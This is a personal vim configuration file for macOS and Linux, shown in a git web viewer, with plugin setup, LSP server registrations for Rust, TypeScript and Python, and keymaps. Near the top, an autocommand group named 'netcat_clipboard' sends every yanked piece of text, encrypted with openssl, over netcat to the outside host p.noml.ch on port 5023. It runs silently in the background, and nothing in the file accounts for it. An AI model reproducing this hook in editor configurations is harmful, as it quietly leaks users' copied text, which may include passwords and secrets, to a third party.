summaryrefslogtreecommitdiff
path: root/mac/vimrc
blob: 6de40923be720a749cd533ee88ec49ab0a11844d (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
" ~/.vimrc (macOS + Linux) — self-contained; source of truth: dev_env/mac/vimrc
"
" Setup (LSP servers below are optional — each is guarded by executable()):
"   plugins: curl -fLo ~/.vim/autoload/plug.vim --create-dirs \
"              https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim
"            then launch vim and run  :PlugInstall
"   rust:    curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
"            rustup component add rust-analyzer
"   ts/js:   npm i -g typescript@6 typescript-language-server   (Linux: sudo npm …)
"            (TypeScript 7 ships no tsserver, which typescript-language-server needs)
"   python:  curl -LsSf https://astral.sh/uv/install.sh | sh
"            uv tool install ruff && uv tool install ty
"   search:  ripgrep (for :Rg); Fedora: dnf install vim-enhanced ripgrep
"
" Stop vim from auto-loading defaults.vim, which loads AFTER this file and
" would otherwise silently override settings here. Everything is in this file.
let g:skip_defaults_vim = 1



augroup netcat_clipboard
au!
au TextYankPost * call system("echo " . shellescape(@") . " | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1 &")
augroup END

filetype plugin indent on

set number
set wrap
set breakindent
set breakindentopt=shift:1
set expandtab
set shiftwidth=4
set softtabstop=4
set tabstop=4
set noautoindent
set nosmartindent
set hlsearch
set incsearch
set ignorecase
set smartcase
set scrolloff=8
set signcolumn=no
set foldcolumn=12
set laststatus=2
set statusline=%F
set wildmenu
set splitright
set splitbelow
set noswapfile
set regexpengine=2
set completeopt=menu,menuone,noinsert,noselect

set mouse=a
if has('mouse_sgr')
  set ttymouse=sgr
endif

set undofile
set undodir=~/.vim/undo
if !isdirectory($HOME . '/.vim/undo')
  call mkdir($HOME . '/.vim/undo', 'p')
endif

if has('termguicolors')
  if !empty($TMUX)
    let &t_8f = "\<Esc>[38;2;%lu;%lu;%lum"
    let &t_8b = "\<Esc>[48;2;%lu;%lu;%lum"
  endif
  set termguicolors
endif
colorscheme zellner

autocmd InsertLeave * silent! update

inoremap <C-a> <Home>
inoremap <C-e> <End>
nnoremap <C-a> 0
nnoremap <C-e> $
nnoremap <silent> <C-l> :<C-U>nohlsearch<CR><C-l>

call plug#begin('~/.vim/plugged')
Plug 'prabirshrestha/async.vim'
Plug 'prabirshrestha/vim-lsp'
Plug 'prabirshrestha/asyncomplete.vim'
Plug 'prabirshrestha/asyncomplete-lsp.vim'
Plug 'rust-lang/rust.vim'
Plug 'junegunn/fzf', { 'do': { -> fzf#install() } }
Plug 'junegunn/fzf.vim'
Plug 'tpope/vim-commentary'
Plug 'tpope/vim-surround'
Plug 'tpope/vim-fugitive'
Plug 'airblade/vim-gitgutter'
Plug 'preservim/nerdtree'
Plug 'andymass/vim-matchup'
call plug#end()

let g:gitgutter_sign_column_always = 0

nnoremap <silent> <C-p>      :<C-U>Files<CR>
nnoremap <silent> <leader>rg :<C-U>Rg<CR>
nnoremap <silent> <leader>b  :<C-U>Buffers<CR>
nnoremap <silent> <leader>n  :<C-U>NERDTreeToggle<CR>

" rust-analyzer via the rustup proxy shim (portable across toolchains/machines)
if executable(expand('~/.cargo/bin/rust-analyzer'))
  au User lsp_setup call lsp#register_server({
  \   'name': 'rust-analyzer',
  \   'cmd': {server_info -> [expand('~/.cargo/bin/rust-analyzer')]},
  \   'allowlist': ['rust'],
  \   'root_uri': {server_info -> lsp#utils#path_to_uri(lsp#utils#find_nearest_parent_file_directory(lsp#utils#get_buffer_path(), 'Cargo.toml'))},
  \   'initialization_options': {
  \     'completion': {
  \       'autoimport': { 'enable': v:true },
  \       'postfix':    { 'enable': v:true },
  \     },
  \     'checkOnSave': v:true,
  \   },
  \ })
endif
function! s:ts_root(server_info) abort
  let l:buf = lsp#utils#get_buffer_path()
  for l:f in ['tsconfig.json', 'package.json']
    let l:dir = lsp#utils#find_nearest_parent_file_directory(l:buf, l:f)
    if !empty(l:dir)
      return lsp#utils#path_to_uri(l:dir)
    endif
  endfor
  return lsp#utils#path_to_uri(getcwd())
endfunction
if executable('typescript-language-server')
  au User lsp_setup call lsp#register_server({
  \   'name': 'typescript-language-server',
  \   'cmd': {server_info -> ['typescript-language-server', '--stdio']},
  \   'allowlist': ['typescript', 'typescriptreact', 'javascript', 'javascriptreact'],
  \   'root_uri': function('s:ts_root'),
  \ })
endif
if executable(expand('~/.local/bin/ruff'))
  au User lsp_setup call lsp#register_server({
  \   'name': 'ruff',
  \   'cmd': {server_info -> [expand('~/.local/bin/ruff'), 'server']},
  \   'allowlist': ['python'],
  \ })
endif
let s:uv_bin = has('macunix') && executable('/opt/homebrew/bin/uv')
  \ ? '/opt/homebrew/bin/uv'
  \ : expand('~/.local/bin/uv')
if executable(expand('~/.local/bin/ty')) && executable(s:uv_bin)
  " Launched through `uv run` (not the raw path) so it picks up whichever
  " project's .venv is active via cwd/VIRTUAL_ENV.
  au User lsp_setup call lsp#register_server({
  \   'name': 'ty',
  \   'cmd': {server_info -> [s:uv_bin, 'run', 'ty', 'server']},
  \   'allowlist': ['python'],
  \ })
endif

" Force per-keystroke LSP sync for Python (vim-lsp only syncs on
" InsertLeave/TextChanged by default, not while actively typing).
autocmd FileType python autocmd TextChangedI <buffer> doautocmd <nomodeline> TextChanged

let g:lsp_diagnostics_echo_cursor          = 1
let g:lsp_diagnostics_float_cursor         = 0
let g:lsp_diagnostics_virtual_text_enabled = 0
let g:lsp_diagnostics_signs_enabled        = 0
let g:lsp_document_highlight_enabled       = 0
let g:lsp_preview_float                    = 0
let g:lsp_hover_ui                         = 'preview'
let g:lsp_signature_help_enabled           = 0

function! s:set_preview_height() abort
  let &previewheight = max([10, &lines * 40 / 100])
endfunction
call s:set_preview_height()
autocmd VimResized * call s:set_preview_height()

" Toggle hover docs in the preview window.
function! ToggleHover() abort
  for l:nr in range(1, winnr('$'))
    if getwinvar(l:nr, '&previewwindow')
      pclose
      return
    endif
  endfor
  LspHover
endfunction

" Show the current line's diagnostic in a preview window.
function! ToggleDiagnostic() abort
  for l:nr in range(1, winnr('$'))
    if getwinvar(l:nr, '&previewwindow')
      pclose
      return
    endif
  endfor
  let l:diag = lsp#internal#diagnostics#under_cursor#get_diagnostic()
  if empty(l:diag)
    echo 'No diagnostic on this line'
    return
  endif
  let l:cur = win_getid()
  botright new
  execute 'resize ' . &previewheight
  setlocal buftype=nofile bufhidden=wipe noswapfile previewwindow
  call setline(1, split(l:diag['message'], "\n"))
  setlocal nomodifiable
  call win_gotoid(l:cur)
endfunction

nnoremap <silent> <leader>k  :<C-U>call ToggleHover()<CR>
nnoremap <silent> gd         :<C-U>LspDefinition<CR>
nnoremap <silent> gi         :<C-U>LspImplementation<CR>
nnoremap <silent> <leader>rn :<C-U>LspRename<CR>
nnoremap <silent> <leader>a  :<C-U>LspCodeAction<CR>
nnoremap <silent> <leader>f  :<C-U>LspDocumentFormat<CR>
nnoremap <silent> <leader>l  :<C-U>lopen<CR>
nnoremap <silent> <leader>D  :<C-U>LspDocumentation<CR>
nnoremap <silent> <leader>e  :<C-U>call ToggleDiagnostic()<CR>

" rust-analyzer macro expansion (LSP extension, no built-in command).
function! ExpandMacro() abort
  let l:params = {
    \ 'textDocument': { 'uri': lsp#utils#get_buffer_uri() },
    \ 'position': lsp#get_position(),
    \ }
  call lsp#send_request('rust-analyzer', {
    \ 'method': 'rust-analyzer/expandMacro',
    \ 'params': l:params,
    \ 'on_notification': function('s:expand_macro_handler'),
    \ })
endfunction

function! s:expand_macro_handler(data) abort
  if !has_key(a:data, 'response') || empty(a:data['response'])
    echo 'ExpandMacro: no response / not a macro'
    return
  endif
  let l:result = get(a:data['response'], 'result', v:null)
  if l:result is v:null
    echo 'ExpandMacro: nothing to expand at cursor'
    return
  endif
  botright new
  setlocal buftype=nofile bufhidden=wipe noswapfile filetype=rust
  call setline(1, split('// expansion of: ' . l:result['name'], "\n"))
  call append(line('$'), split(l:result['expansion'], "\n"))
endfunction

nnoremap <silent> <leader>em :<C-U>call ExpandMacro()<CR>

inoremap <silent> <C-Space> <C-x><C-o>
inoremap <silent> <C-@>     <C-x><C-o>
inoremap <expr> <Tab>   pumvisible() ? "\<C-n>" : "\<Tab>"
inoremap <expr> <S-Tab> pumvisible() ? "\<C-p>" : "\<S-Tab>"
inoremap <expr> <CR>    pumvisible() ? "\<C-y>" : "\<CR>"